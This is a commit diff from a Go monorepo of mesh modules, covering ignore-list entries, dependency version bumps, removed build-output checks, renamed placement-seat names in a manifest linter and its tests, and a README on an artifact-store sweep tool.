/modules/messenger/messenger
/modules/minio/cmd/object-store/object-store
/modules/minio/object-store
/modules/mounts/cmd/mounts/mounts
/modules/mounts/mounts
/modules/nats/cmd/mesh-nats-snapshot/mesh-nats-snapshot
/modules/nats/cmd/nats-tools/nats-tools
/modules/nats/mesh-nats-snapshot
/modules/nats/nats-tools
/modules/netcheck/cmd/netcheck/netcheck
/modules/netcheck/netcheck
/modules/networkmanager/cmd/uplink-tools/uplink-tools
/modules/networkmanager/uplink-tools
/modules/nextcloud-client/cmd/nextcloud-client-tools/nextcloud-client-tools
/modules/nextcloud-client/nextcloud-client-tools
/modules/nfs-server/cmd/nfs-server/nfs-server
/modules/nfs-server/nfs-server
/modules/nm-applet/cmd/nm-applet-tools/nm-applet-tools
/modules/nm-applet/nm-applet-tools
/modules/only-office/cmd/only-office/only-office
/modules/only-office/only-office
/modules/openrazer/cmd/openrazer-tools/openrazer-tools
/modules/openrazer/openrazer-tools
/modules/pacman/cmd/pacman-tools/pacman-tools
/modules/pacman/pacman-tools
/modules/picom/cmd/picom-tools/picom-tools
/modules/picom/picom-tools
/modules/polychromatic/cmd/polychromatic-tools/polychromatic-tools
/modules/polychromatic/polychromatic-tools
/modules/postgres/cmd/postgres-provider/postgres-provider
/modules/postgres/postgres-provider
/modules/power/cmd/power/power
/modules/power/power
/modules/records/cmd/records/records
/modules/records/records
/modules/restic/cmd/restic-backups/restic-backups
/modules/restic/restic-backups
/modules/rofi/cmd/rofi-tools/rofi-tools
/modules/rofi/rofi-tools
/modules/route-adapter/cmd/route-provider/route-provider
/modules/route-adapter/route-provider
/modules/screen-lock/cmd/screen-lock-tools/screen-lock-tools
/modules/screen-lock/screen-lock-tools
/modules/sensors/cmd/sensors/sensors
/modules/sensors/sensors
/modules/slack/cmd/slack-tools/slack-tools
/modules/slack/slack-tools
/modules/snapd/cmd/snapd-tools/snapd-tools
/modules/snapd/snapd-tools
/modules/ssh-client/cmd/ssh-client-tools/ssh-client-tools
/modules/ssh-client/ssh-client-tools
/modules/sudo/cmd/sudo-tools/sudo-tools
/modules/sudo/sudo-tools
/modules/systemd-networkd/cmd/uplink-tools/uplink-tools
/modules/systemd-networkd/uplink-tools
/modules/systemd-resolved/cmd/resolver-tools/resolver-tools
/modules/systemd-resolved/resolver-tools
/modules/systemd/cmd/systemd-tools/systemd-tools
/modules/systemd/systemd-tools
/modules/telegram/cmd/telegram/telegram
/modules/telegram/telegram
/modules/time-sync/cmd/time-sync-tools/time-sync-tools
/modules/time-sync/time-sync-tools
/modules/triggerhappy/cmd/triggerhappy-tools/triggerhappy-tools
/modules/triggerhappy/triggerhappy-tools
/modules/xclip/cmd/xclip-tools/xclip-tools
/modules/xclip/xclip-tools
/modules/xdg/cmd/xdg-tools/xdg-tools
/modules/xdg/xdg-tools
/modules/xorg/cmd/xorg/xorg
/modules/xorg/xorg
/modules/xterm/cmd/xterm-tools/xterm-tools
/modules/xterm/xterm-tools
/modules/zfs/cmd/zfs-tools/zfs-tools
/modules/zfs/zfs-tools
modules/mesh-config/cmd/mesh-config/mesh-config
# Built by their modules' build step (issue 1577), never committed.
modules/forticlient/cmd/forticlient-tools/forticlient-tools
modules/networkmanager/uplink-tools
checks/words/words
modules/mesh-cli/mesh-cli
modules/mesh-cli/cmd/mesh-cli/mesh-cli
+1 -1
View File
@@ -2,6 +2,6 @@ module git.novox.be/novox/mesh-catalog/checks/config
go 1.22
require git.novox.be/novox/mesh-catalog/checks/trunk v0.0.0-00010101000000-000000000000
require git.novox.be/novox/mesh-catalog/checks/trunk v0.0.0
replace git.novox.be/novox/mesh-catalog/checks/trunk => ../trunk
+1 -1
View File
@@ -39,7 +39,7 @@ func TestRefusalsJudgeATree(t *testing.T) {
{"a bucket in a test is its data", map[string]string{"modules/e/cmd/e/main_test.go": "package main\n// mesh-controller_lease\n"}, ""},
{"a fixture copied from elsewhere", map[string]string{"modules/e/cmd/e/testdata/x.md": "mesh-controller_rollouts\n"}, ""},
{"an owner and prose pass", map[string]string{"modules/f/module.json": `{"module":"f","config":{"owners":{"default":["mesh-controller","mesh-controller modules/route-proxy"]}},"why":"the mesh-controller module is gone"}`}, ""},
{"the seat's successors pass", map[string]string{"modules/g/module.json": `{"module":"g","reads":["mesh-module-assigner.assignments"],"invokes":["seat:mesh-hand-acts.hand-act"]}`}, ""},
{"the seat's successors pass", map[string]string{"modules/g/module.json": `{"module":"g","reads":["mesh-placement.placement"],"invokes":["seat:mesh-hand-acts.hand-act"]}`}, ""},
} {
t.Run(row.name, func(t *testing.T) {
root := t.TempDir()
+3 -1
View File
@@ -2,4 +2,6 @@ module checks/credentialform
go 1.26.0
require git.novox.be/novox/mesh-sdk/go v0.0.0-00010101000000-000000000000
require git.novox.be/novox/mesh-sdk/go v0.1.14-0.20261104174359-05b3e2e1b94f
require git.novox.be/novox/mesh-contracts/go v0.0.0-20261104174344-ae5266e77639 // indirect
+4
View File
@@ -0,0 +1,4 @@
git.novox.be/novox/mesh-contracts/go v0.0.0-20261104174344-ae5266e77639 h1:Zt7CfWt2S2W/fVgWNyW2u2+xwz051LXvGxVTNIyfhdM=
git.novox.be/novox/mesh-contracts/go v0.0.0-20261104174344-ae5266e77639/go.mod h1:0dD1XEJBJ0G5UYDQxSZI84nuujb6m3tOpJl4C8rQVvg=
git.novox.be/novox/mesh-sdk/go v0.1.14-0.20261104174359-05b3e2e1b94f h1:jDsfDMd48MXY9Zershc3eRxnhmx2sSpUfQkLq5jAIds=
git.novox.be/novox/mesh-sdk/go v0.1.14-0.20261104174359-05b3e2e1b94f/go.mod h1:08OomDXdwVN8/87nyDtv5R3rH/6LoP8SFFXz30bTYCM=
-168
View File
@@ -122,171 +122,3 @@ func Find(root string, dirs []string) ([]Hidden, error) {
}
return hidden, nil
}
// Programs are the paths `go build` writes a compiled program to, for every main package of every Go module under
// root (issue 1577, met twice in one milestone: a module's program committed with `git add -A`): `go build` in the
// package's directory writes it there, and `go build ./<dir>` from the module's root writes it at the root, each named
// after the package's import path. Relative to root, sorted; directories named node_modules, testdata or vendor, and
// .git, are left out, and so is a path that is a directory of the tree.
func Programs(root string) ([]string, error) {
var mods []string
err := filepath.WalkDir(root, func(p string, d fs.DirEntry, err error) error {
if err != nil {
return err
}
if d.IsDir() && skipped(d.Name()) && p != root {
return filepath.SkipDir
}
if !d.IsDir() && d.Name() == "go.mod" {
mods = append(mods, filepath.Dir(p))
}
return nil
})
if err != nil {
return nil, err
}
seen := map[string]bool{}
for _, m := range mods {
modPath, err := modulePath(filepath.Join(m, "go.mod"))
if err != nil {
return nil, err
}
err = filepath.WalkDir(m, func(p string, d fs.DirEntry, err error) error {
if err != nil {
return err
}
if !d.IsDir() {
return nil
}
if p != m {
if skipped(d.Name()) {
return filepath.SkipDir
}
if _, err := os.Stat(filepath.Join(p, "go.mod")); err == nil {
return filepath.SkipDir // a module of its own, walked on its own
}
}
isMain, err := mainPackage(p)
if err != nil || !isMain {
return err
}
name := filepath.Base(p)
if p == m {
name = pathBase(modPath)
}
for _, dir := range []string{p, m} {
out := filepath.Join(dir, name)
if st, err := os.Stat(out); err == nil && st.IsDir() {
continue // go build refuses to write over a directory, so no program lands there
}
rel, _ := filepath.Rel(root, out)
seen[filepath.ToSlash(rel)] = true
}
return nil
})
if err != nil {
return nil, err
}
}
out := make([]string, 0, len(seen))
for p := range seen {
out = append(out, p)
}
sort.Strings(out)
return out, nil
}
// Unignored names each of programs (paths from root) that root's ignore files do not ignore: a program a local build
// leaves there that `git add -A` would commit.
func Unignored(root string, programs []string) ([]string, error) {
gitDir, err := os.MkdirTemp("", "gitignored-")
if err != nil {
return nil, err
}
defer os.RemoveAll(gitDir)
if out, err := exec.Command("git", "init", "-q", "--bare", gitDir).CombinedOutput(); err != nil {
return nil, fmt.Errorf("git init: %v: %s", err, out)
}
abs, err := filepath.Abs(root)
if err != nil {
return nil, err
}
cmd := exec.Command("git", "--git-dir="+gitDir, "--work-tree="+abs, "-c", "core.excludesFile=/dev/null",
"check-ignore", "--no-index", "-v", "-n", "-z", "--stdin")
cmd.Dir = abs
cmd.Stdin = strings.NewReader(strings.Join(programs, "\x00") + "\x00")
out, err := cmd.Output()
if ee, ok := err.(*exec.ExitError); !(err == nil || ok && ee.ExitCode() == 1) {
return nil, fmt.Errorf("git check-ignore: %w", err)
}
// -v -n -z answers source, line, pattern and path for every path asked; the source is empty for one no pattern
// matches, and a pattern starting with ! keeps the path.
f := strings.Split(strings.TrimRight(string(out), "\x00"), "\x00")
var open []string
for i := 0; i+3 < len(f); i += 4 {
if f[i+2] == "" || strings.HasPrefix(f[i+2], "!") {
open = append(open, f[i+3])
}
}
return open, nil
}
func skipped(name string) bool {
switch name {
case ".git", "node_modules", "testdata", "vendor":
return true
}
return false
}
// modulePath reads the module line of a go.mod.
func modulePath(goMod string) (string, error) {
b, err := os.ReadFile(goMod)
if err != nil {
return "", err
}
for _, l := range strings.Split(string(b), "\n") {
if f := strings.Fields(l); len(f) >= 2 && f[0] == "module" {
return strings.Trim(f[1], `"`), nil
}
}
return "", fmt.Errorf("%s names no module", goMod)
}
// pathBase is the name `go build` gives a program at a module's root: its path's last element, a major version
// suffix (/v2) left out.
func pathBase(modPath string) string {
parts := strings.Split(modPath, "/")
last := parts[len(parts)-1]
if len(parts) > 1 && len(last) > 1 && last[0] == 'v' && strings.Trim(last[1:], "0123456789") == "" {
last = parts[len(parts)-2]
}
return last
}
// mainPackage is whether dir holds a Go file, not a test, of package main.
func mainPackage(dir string) (bool, error) {
entries, err := os.ReadDir(dir)
if err != nil {
return false, err
}
for _, e := range entries {
n := e.Name()
if e.IsDir() || filepath.Ext(n) != ".go" || strings.HasSuffix(n, "_test.go") {
continue
}
b, err := os.ReadFile(filepath.Join(dir, n))
if err != nil {
return false, err
}
for _, l := range strings.Split(string(b), "\n") {
if f := strings.Fields(l); len(f) >= 2 && f[0] == "package" {
if f[1] == "main" {
return true, nil
}
break
}
}
}
return false, nil
}
-78
View File
@@ -78,81 +78,3 @@ func TestNoIgnorePatternHidesAModulesSource(t *testing.T) {
t.Errorf("%s is hidden by %s: a module's source is never ignored; anchor the pattern to the binary (/<name>, /cmd/<name>/<name>)", h.Path, h.Pattern)
}
}
// The kind of issue 1577, met twice in one milestone: a module's program `go build` left in its folder was committed.
// Every program a main package builds, in its own directory and at its module's root, is found, and one no ignore file
// names is open; a directory of the same name is no program's place.
func TestEveryProgramABuildLeavesIsIgnored(t *testing.T) {
files := map[string]string{
"modules/m/go.mod": "module example.com/m/v2\n",
"modules/m/main.go": "// a program\npackage main\n",
"modules/m/cmd/m-tools/main.go": "package main\n",
"modules/m/cmd/m-tools/main_test.go": "package main\n",
"modules/m/internal/x/x.go": "package x\n",
"modules/m/internal/x/x_test.go": "package main\n",
"modules/m/node_modules/y/y.go": "package main\n",
"modules/m/tool/go.mod": "module tool\n",
"modules/m/tool/cmd/tool/main.go": "package main\n",
"modules/m/tool/tool/source.go": "package tool\n",
"checks/c/go.mod": "module example.com/checks/c\n",
"checks/c/main.go": "package main\n",
}
for name, c := range map[string]struct {
ignore string
open []string
}{
"nothing ignored": {"", []string{"checks/c/c", "modules/m/cmd/m-tools/m-tools", "modules/m/m", "modules/m/m-tools",
"modules/m/tool/cmd/tool/tool"}},
"each anchored": {"/checks/c/c\n/modules/m/cmd/m-tools/m-tools\n/modules/m/m\n/modules/m/m-tools\n/modules/m/tool/cmd/tool/tool\n", nil},
"one kept by a negation": {"/checks/c/c\n/modules/m/*\n!/modules/m/m\n/modules/m/cmd/m-tools/m-tools\n/modules/m/tool/cmd/tool/tool\n",
[]string{"modules/m/m"}},
} {
root := t.TempDir()
for f, b := range files {
p := filepath.Join(root, f)
if err := os.MkdirAll(filepath.Dir(p), 0o755); err != nil {
t.Fatal(err)
}
if err := os.WriteFile(p, []byte(b), 0o644); err != nil {
t.Fatal(err)
}
}
if err := os.WriteFile(filepath.Join(root, ".gitignore"), []byte(c.ignore), 0o644); err != nil {
t.Fatal(err)
}
programs, err := Programs(root)
if err != nil {
t.Fatal(err)
}
want := "checks/c/c,modules/m/cmd/m-tools/m-tools,modules/m/m,modules/m/m-tools,modules/m/tool/cmd/tool/tool"
if got := strings.Join(programs, ","); got != want {
t.Fatalf("%s: programs %s, want %s", name, got, want)
}
open, err := Unignored(root, programs)
if err != nil {
t.Fatal(err)
}
if strings.Join(open, ",") != strings.Join(c.open, ",") {
t.Errorf("%s: open %v, want %v", name, open, c.open)
}
}
}
// The catalogue's own tree: every program a local build leaves is ignored, so `git add -A` never takes one.
func TestNoProgramABuildLeavesIsCommitted(t *testing.T) {
root := filepath.Join("..", "..")
programs, err := Programs(root)
if err != nil {
t.Fatal(err)
}
if len(programs) == 0 {
t.Fatal("no main package found: the check reads nothing")
}
open, err := Unignored(root, programs)
if err != nil {
t.Fatal(err)
}
for _, p := range open {
t.Errorf("%s is the program a local go build leaves, and no ignore file names it: add /%s to the catalogue's .gitignore", p, p)
}
}
+3 -1
View File
@@ -2,4 +2,6 @@ module checks/health
go 1.26.0
require git.novox.be/novox/mesh-sdk/go v0.0.0-00010101000000-000000000000
require git.novox.be/novox/mesh-sdk/go v0.1.14-0.20261104174359-05b3e2e1b94f
require git.novox.be/novox/mesh-contracts/go v0.0.0-20261104174344-ae5266e77639 // indirect
+4
View File
@@ -0,0 +1,4 @@
git.novox.be/novox/mesh-contracts/go v0.0.0-20261104174344-ae5266e77639 h1:Zt7CfWt2S2W/fVgWNyW2u2+xwz051LXvGxVTNIyfhdM=
git.novox.be/novox/mesh-contracts/go v0.0.0-20261104174344-ae5266e77639/go.mod h1:0dD1XEJBJ0G5UYDQxSZI84nuujb6m3tOpJl4C8rQVvg=
git.novox.be/novox/mesh-sdk/go v0.1.14-0.20261104174359-05b3e2e1b94f h1:jDsfDMd48MXY9Zershc3eRxnhmx2sSpUfQkLq5jAIds=
git.novox.be/novox/mesh-sdk/go v0.1.14-0.20261104174359-05b3e2e1b94f/go.mod h1:08OomDXdwVN8/87nyDtv5R3rH/6LoP8SFFXz30bTYCM=
+3 -1
View File
@@ -2,4 +2,6 @@ module checks/manifests
go 1.26.0
require git.novox.be/novox/mesh-sdk/go v0.0.0-00010101000000-000000000000
require git.novox.be/novox/mesh-sdk/go v0.1.14-0.20261104174359-05b3e2e1b94f
require git.novox.be/novox/mesh-contracts/go v0.0.0-20261104174344-ae5266e77639 // indirect
+4
View File
@@ -0,0 +1,4 @@
git.novox.be/novox/mesh-contracts/go v0.0.0-20261104174344-ae5266e77639 h1:Zt7CfWt2S2W/fVgWNyW2u2+xwz051LXvGxVTNIyfhdM=
git.novox.be/novox/mesh-contracts/go v0.0.0-20261104174344-ae5266e77639/go.mod h1:0dD1XEJBJ0G5UYDQxSZI84nuujb6m3tOpJl4C8rQVvg=
git.novox.be/novox/mesh-sdk/go v0.1.14-0.20261104174359-05b3e2e1b94f h1:jDsfDMd48MXY9Zershc3eRxnhmx2sSpUfQkLq5jAIds=
git.novox.be/novox/mesh-sdk/go v0.1.14-0.20261104174359-05b3e2e1b94f/go.mod h1:08OomDXdwVN8/87nyDtv5R3rH/6LoP8SFFXz30bTYCM=
+7 -11
View File
@@ -1,6 +1,6 @@
// Command noplacement refuses what the repository path of placement left behind (novox/hq ADR 0567 §10, §12).
//
// Placement, which module runs on which node, is bus state held by the seat mesh-module-assigner; no file of the
// Placement, which module runs on which node, is bus state held by the seat mesh-placement; no file of the
// catalogue says it, and no manifest reads it from the delivery indexer, which no longer keeps it. It refuses:
//
// 1. a `placement` directory (or file) at the root of the catalogue;
@@ -8,8 +8,7 @@
// 2. a `particulars` file at the root (the mesh's node names come from the checker's run, §16);
//
// 3. a manifest naming a state, stream, event or bucket of the indexer's placement (`mesh-delivery-indexer.placement…`
// or `mesh-delivery-indexer_placement…`), or the assigner's retired state placement (`mesh-delivery-assigner.placement…`,
// `mesh-module-assigner.placement…`, its views and its read tool), in any string value, such as `reads`;
// or `mesh-delivery-indexer_placement…`) in any string value, such as `reads`;
//
// The controller's assignments, which item 4 once listed readers of, are refused with every other name of the
// controller by checks/controllerdeps (novox/hq ADR 0590 §5).
@@ -28,17 +27,14 @@ import (
"strings"
)
// Prefixes are the names of the indexer's placement parts and the retired names of the assigner's state, now
// assignments (novox/hq ADR 0641); a manifest string starting with one names them.
var Prefixes = []string{"mesh-delivery-indexer.placement", "mesh-delivery-indexer_placement",
"mesh-delivery-assigner.placement", "mesh-delivery-assigner_placement", "mesh-delivery-assigner.views.placement",
"mesh-delivery-assigner.assigner_read_placement", "mesh-module-assigner.placement"}
// Prefixes are the names of the indexer's placement parts; a manifest string starting with one names them.
var Prefixes = []string{"mesh-delivery-indexer.placement", "mesh-delivery-indexer_placement"}
// Findings is every refusal in the catalogue at root, sorted.
func Findings(root string) ([]string, error) {
var out []string
if _, err := os.Lstat(filepath.Join(root, "placement")); err == nil {
out = append(out, "placement: the repository holds no placement; it is bus state of the seat mesh-module-assigner (novox/hq ADR 0567 §10)")
out = append(out, "placement: the repository holds no placement; it is bus state of the seat mesh-placement (novox/hq ADR 0567 §10)")
}
if _, err := os.Lstat(filepath.Join(root, "particulars")); err == nil {
out = append(out, "particulars: the repository lists no node names; the checker hands them to the check (novox/hq ADR 0567 §16)")
@@ -59,7 +55,7 @@ func Findings(root string) ([]string, error) {
}
module := filepath.Base(filepath.Dir(file))
for _, s := range named(doc, nil) {
out = append(out, fmt.Sprintf("%s: names %q, a name that is retired: the indexer keeps no placement (novox/hq ADR 0567 §12) and the seat mesh-module-assigner's state is assignments (novox/hq ADR 0641)", module, s))
out = append(out, fmt.Sprintf("%s: names %q, which the indexer no longer keeps; placement is the seat mesh-placement's (novox/hq ADR 0567 §12)", module, s))
}
}
sort.Strings(out)
@@ -103,5 +99,5 @@ func main() {
if len(found) > 0 {
os.Exit(1)
}
fmt.Println("no placement directory, and no manifest names the retired placement")
fmt.Println("no placement directory, and no manifest reads the indexer's placement")
}
+2 -6
View File
@@ -13,17 +13,13 @@ func TestFindingsRefuseWhatThePlacementPathLeft(t *testing.T) {
files map[string]string
want string // empty: clean
}{
{"clean", map[string]string{"modules/a/module.json": `{"module":"a","reads":["mesh-delivery-assigner.assignments"]}`}, ""},
{"clean", map[string]string{"modules/a/module.json": `{"module":"a","reads":["mesh-delivery-assigner.placement"]}`}, ""},
{"a placement directory", map[string]string{"placement/ace.json": `{}`}, "placement: the repository holds no placement"},
{"a particulars file", map[string]string{"particulars": "ace\n"}, "particulars: the repository lists no node names"},
{"a read of the indexer's placement", map[string]string{"modules/a/module.json": `{"module":"a","reads":["mesh-delivery-indexer.placement"]}`}, `a: names "mesh-delivery-indexer.placement"`},
{"a read of its candidates", map[string]string{"modules/b/module.json": `{"module":"b","reads":["mesh-delivery-indexer.placement-candidates"]}`}, "placement-candidates"},
{"its event", map[string]string{"modules/c/module.json": `{"module":"c","on":[{"event":"mesh-delivery-indexer.placement-changed"}]}`}, "placement-changed"},
{"the seat's own state is allowed", map[string]string{"modules/d/module.json": `{"module":"d","reads":["mesh-module-assigner.assignments"]}`}, ""},
{"the assigner's retired state", map[string]string{"modules/e/module.json": `{"module":"e","reads":["mesh-delivery-assigner.placement"]}`}, `e: names "mesh-delivery-assigner.placement"`},
{"its retired views family", map[string]string{"modules/f/module.json": `{"module":"f","consumes":["mesh-delivery-assigner.views.placement"]}`}, "views.placement"},
{"its retired read tool", map[string]string{"modules/g/module.json": `{"module":"g","invokes":["mesh-delivery-assigner.assigner_read_placement"]}`}, "assigner_read_placement"},
{"the seat's retired verb", map[string]string{"modules/h/module.json": `{"module":"h","invokes":["mesh-module-assigner.placement"]}`}, "mesh-module-assigner.placement"},
{"the seat's own state is allowed", map[string]string{"modules/d/module.json": `{"module":"d","reads":["mesh-placement.placement"]}`}, ""},
} {
t.Run(row.name, func(t *testing.T) {
root := t.TempDir()
+1 -1
View File
@@ -2,6 +2,6 @@ module git.novox.be/novox/mesh-catalog/checks/owned
go 1.22
require git.novox.be/novox/mesh-catalog/checks/trunk v0.0.0-00010101000000-000000000000
require git.novox.be/novox/mesh-catalog/checks/trunk v0.0.0
replace git.novox.be/novox/mesh-catalog/checks/trunk => ../trunk
+1 -1
View File
@@ -2,6 +2,6 @@ module git.novox.be/novox/mesh-catalog/checks/paths
go 1.22
require git.novox.be/novox/mesh-catalog/checks/trunk v0.0.0-00010101000000-000000000000
require git.novox.be/novox/mesh-catalog/checks/trunk v0.0.0
replace git.novox.be/novox/mesh-catalog/checks/trunk => ../trunk
+1 -1
View File
@@ -2,6 +2,6 @@ module git.novox.be/novox/mesh-catalog/checks/predefined
go 1.22
require git.novox.be/novox/mesh-catalog/checks/trunk v0.0.0-00010101000000-000000000000
require git.novox.be/novox/mesh-catalog/checks/trunk v0.0.0
replace git.novox.be/novox/mesh-catalog/checks/trunk => ../trunk
+2 -9
View File
@@ -2,13 +2,6 @@ module checks/readable
go 1.26.0
require (
git.novox.be/novox/mesh-catalog/modules/disk-load/diskreadings v0.0.0-00010101000000-000000000000
git.novox.be/novox/mesh-catalog/modules/restic/backupgood v0.0.0-00010101000000-000000000000
)
require git.novox.be/novox/mesh-sdk/go v0.1.14-0.20261104174359-05b3e2e1b94f
replace git.novox.be/novox/mesh-catalog/modules/disk-load/diskreadings => ../../modules/disk-load/diskreadings
replace git.novox.be/novox/mesh-catalog/modules/restic/backupgood => ../../modules/restic/backupgood
require git.novox.be/novox/mesh-sdk/go v0.0.0-00010101000000-000000000000 // indirect
require git.novox.be/novox/mesh-contracts/go v0.0.0-20261104174344-ae5266e77639 // indirect
+4
View File
@@ -0,0 +1,4 @@
git.novox.be/novox/mesh-contracts/go v0.0.0-20261104174344-ae5266e77639 h1:Zt7CfWt2S2W/fVgWNyW2u2+xwz051LXvGxVTNIyfhdM=
git.novox.be/novox/mesh-contracts/go v0.0.0-20261104174344-ae5266e77639/go.mod h1:0dD1XEJBJ0G5UYDQxSZI84nuujb6m3tOpJl4C8rQVvg=
git.novox.be/novox/mesh-sdk/go v0.1.14-0.20261104174359-05b3e2e1b94f h1:jDsfDMd48MXY9Zershc3eRxnhmx2sSpUfQkLq5jAIds=
git.novox.be/novox/mesh-sdk/go v0.1.14-0.20261104174359-05b3e2e1b94f/go.mod h1:08OomDXdwVN8/87nyDtv5R3rH/6LoP8SFFXz30bTYCM=
+5 -7
View File
@@ -6,7 +6,7 @@
// the owner's manifest went with clause 5, and announcetest holds a module to its own list, not to its readers.
//
// An owner announces from its code. A Go module announces when its code imports mesh-sdk's go/announce: every
// announce.State literal there is read, its Name a string, a constant of the package, or a constant of an owner's package this
// announce.State literal there is read, its Name a string, a constant of the package, or a constant of mesh-sdk this
// check knows (Known). A TypeScript module announces when its code says the event `states` or calls the SDK's keeps:
// every `{ name: "...", readable: true }` there is read. An owner that announces nothing from code is read as before
// on the mesh, and is not judged; neither is an owner outside the catalogue (another repository's).
@@ -29,15 +29,13 @@ import (
"strconv"
"strings"
"git.novox.be/novox/mesh-catalog/modules/disk-load/diskreadings"
"git.novox.be/novox/mesh-catalog/modules/restic/backupgood"
"git.novox.be/novox/mesh-sdk/go/health"
)
// Known are the constants of the owners' published packages an announcement may name a state by, by the selector the
// code writes: disk-load's readings and restic's last good night (ADR 0634 §4: a reading's layout is its owner's).
// Known are the mesh-sdk constants an announcement may name a state by, by the selector the code writes.
var Known = map[string]string{
"backupgood.GoodState": backupgood.GoodState,
"diskreadings.ReadingsState": diskreadings.ReadingsState,
"health.GoodState": health.GoodState,
"health.ReadingsState": health.ReadingsState,
}
const announcePkg = `"git.novox.be/novox/mesh-sdk/go/announce"`
+1 -1
View File
@@ -30,7 +30,7 @@ func TestFindings(t *testing.T) {
{"go, a known mesh-sdk name and readers", map[string]string{
"modules/r/module.json": `{"module":"r","reads":["o.good","o.s"]}`,
"modules/o/module.json": `{"module":"o"}`,
"modules/o/cmd/o/main.go": goOwner + "var _ = []announce.State{{Name: backupgood.GoodState, Readable: true}, {Name: \"s\", Readers: []string{\"r\"}}}\n"}, ""},
"modules/o/cmd/o/main.go": goOwner + "var _ = []announce.State{{Name: health.GoodState, Readable: true}, {Name: \"s\", Readers: []string{\"r\"}}}\n"}, ""},
{"go, a name that cannot be read", map[string]string{
"modules/r/module.json": `{"module":"r","reads":["o.s"]}`,
"modules/o/module.json": `{"module":"o"}`,
+1 -1
View File
@@ -2,6 +2,6 @@ module git.novox.be/novox/mesh-catalog/checks/secrets
go 1.22
require git.novox.be/novox/mesh-catalog/checks/trunk v0.0.0-00010101000000-000000000000
require git.novox.be/novox/mesh-catalog/checks/trunk v0.0.0
replace git.novox.be/novox/mesh-catalog/checks/trunk => ../trunk
+1 -1
View File
@@ -2,6 +2,6 @@ module git.novox.be/novox/mesh-catalog/checks/templates
go 1.22
require git.novox.be/novox/mesh-catalog/checks/trunk v0.0.0-00010101000000-000000000000
require git.novox.be/novox/mesh-catalog/checks/trunk v0.0.0
replace git.novox.be/novox/mesh-catalog/checks/trunk => ../trunk
+1 -1
View File
@@ -109,7 +109,7 @@ func TestCheckAddressesRefusesTheControllersAddresses(t *testing.T) {
{"`mesh-controller.<verb>`", true},
{"the mesh-controller module is gone.", false},
{"located in mesh-controller#246", false},
{"ask mesh-module-assigner.assignments", false},
{"ask mesh-placement.placement", false},
} {
got := checkAddresses([]text{{file: "m/a.go", line: 1, s: c.s}})
if (len(got) == 1) != c.want {
+1 -1
View File
@@ -1,4 +1,4 @@
56
57
The long-running resources of this catalogue that do not say how they are ready (`health`, novox/hq ADR 0240
rule 8), as `module check` counts them. It may only go down: checks/health fails a change that raises it, and
one that lowers it writes the new number on the first line. From 2026-11-18, or once it is 0, a long-running
+1 -1
View File
@@ -2,7 +2,7 @@ module adwaita
go 1.26.0
require git.novox.be/novox/mesh-sdk/go v0.0.0-00010101000000-000000000000
require git.novox.be/novox/mesh-sdk/go v0.1.14-0.20261104174359-05b3e2e1b94f
require (
github.com/klauspost/compress v1.20.1 // indirect
+4
View File
@@ -1,3 +1,7 @@
git.novox.be/novox/mesh-contracts/go v0.0.0-20261104174344-ae5266e77639 h1:Zt7CfWt2S2W/fVgWNyW2u2+xwz051LXvGxVTNIyfhdM=
git.novox.be/novox/mesh-contracts/go v0.0.0-20261104174344-ae5266e77639/go.mod h1:0dD1XEJBJ0G5UYDQxSZI84nuujb6m3tOpJl4C8rQVvg=
git.novox.be/novox/mesh-sdk/go v0.1.14-0.20261104174359-05b3e2e1b94f h1:jDsfDMd48MXY9Zershc3eRxnhmx2sSpUfQkLq5jAIds=
git.novox.be/novox/mesh-sdk/go v0.1.14-0.20261104174359-05b3e2e1b94f/go.mod h1:08OomDXdwVN8/87nyDtv5R3rH/6LoP8SFFXz30bTYCM=
github.com/klauspost/compress v1.20.1 h1:T7kKElXUMXrUJ2E9QhQhxFtcK5rPyLdsGZvdbLMPdiQ=
github.com/klauspost/compress v1.20.1/go.mod h1:LUdAzn7YLVvxLpc7y3V1m40wESHTgc1422pwwBSKYuI=
github.com/nats-io/nats.go v1.54.0 h1:vsXoOxjHp/GmPUN+EcI7uOf/uB+iAP+kEsAFNQN0yzA=
+27 -21
View File
@@ -6,34 +6,38 @@ directory and the file the mesh writes there from its setting `older-store-names
## Why a module beside the store
The store is the `distribution` module, the registry seats' holder. These tools became a module of their own when the
indexer's judge refused a store holder that builds an artifact; that rule is gone (issue 1966), and the sweep stays its
own module, holding the seat `mesh-artifact-sweep`. It requires no provision: what it holds, releases and removes it
asks the registry seats `oci-artifact-registry` and `container-image-registry` (see *The sweep through the registry
seats*), and what the store holds it reads through the same seats' `list` (novox/hq ADR 0632 §4): it reads neither the
store's files nor its read side, so it runs on any machine.
The store is the `distribution` module. A module that provides the artifact store cannot also build an
artifact: building publishes to the store, so the store would be needed to create itself, and the
controller's module check refuses that manifest. So the store's tools are a second module, as the
controller's refusal says to do. **Assign it to the machine that holds the store**: its tools read the
store's files through the store's own container, and anywhere else they answer that the container is not
on that machine.
## Tools
| tool | | what |
|---|---|---|
| `artifact_store_repositories` | r | every repository: tags and what each names, how many manifests (tagged or not), size |
| `artifact_store_usage` | r | the store's size, each manifest's as its seat says it, and the largest repositories |
| `artifact_store_usage` | r | the store's size, the largest repositories, bytes shared between repositories, bytes no manifest marks (what the nightly collector frees next) |
| `artifact_store_references` | r | what the controller's records and the catalogue's definitions say of each manifest, counted and sized by state and repository; each manifest listed when one repository is asked; what the records keep that the store does not hold |
| `artifact_store_collect` | a | a dry run unless `dry_run` is false: what the controller would let go of, and the bytes the nightly collector would free then and now. A real run needs `why` and asks the controller's `collect` |
### How the store is read
The store's read side lists repositories and tags, but not a manifest no tag names, and the mesh pins every
machine by digest, so that is most of them. So the bundle asks the two registry seats' `list`
(`container-image-registry` for images and indexes, `oci-artifact-registry` for bundles and archives), which the
store's holder answers from the store's own files: each manifest's digest, whether it is an index and the manifests it
names, the tags naming it, its size and whether a hold keeps it (novox/hq ADR 0632 §4).
The store's door lists repositories and tags, but not a manifest no tag names, and the mesh pins every
machine by digest, so that is most of them. So the bundle reads the store's own files through its own
container (`docker exec mesh-registry`, busybox `find`, `stat` and `cat`), and only reads them: every
blob with its size, every manifest each repository holds, what each tag names, and each manifest's
content, four hundred to an exec. What it read it keeps (a manifest is named by its content, so it never
changes), and the next call reads only what is new. A manifest that could not be read is counted and
said; what it marks beyond itself is then unknown, so sizes may read low and freed bytes high, and the
answer says so.
A manifest's size is its own content and every blob it names, as its seat says it, so a layer two manifests share
is counted in each, and the bytes the store's nightly collector frees are the sizes of the manifests that go, an
upper bound. The address the bundle says the store is at comes from `${seat:container-image-registry:reach}`, the
image seat holder's listen (ADR 0632 §1), and is used for the catalogue's definitions only, never to reach the store.
docker runs as the tool runner's account; a socket that refuses it is asked again through `sudo -n`,
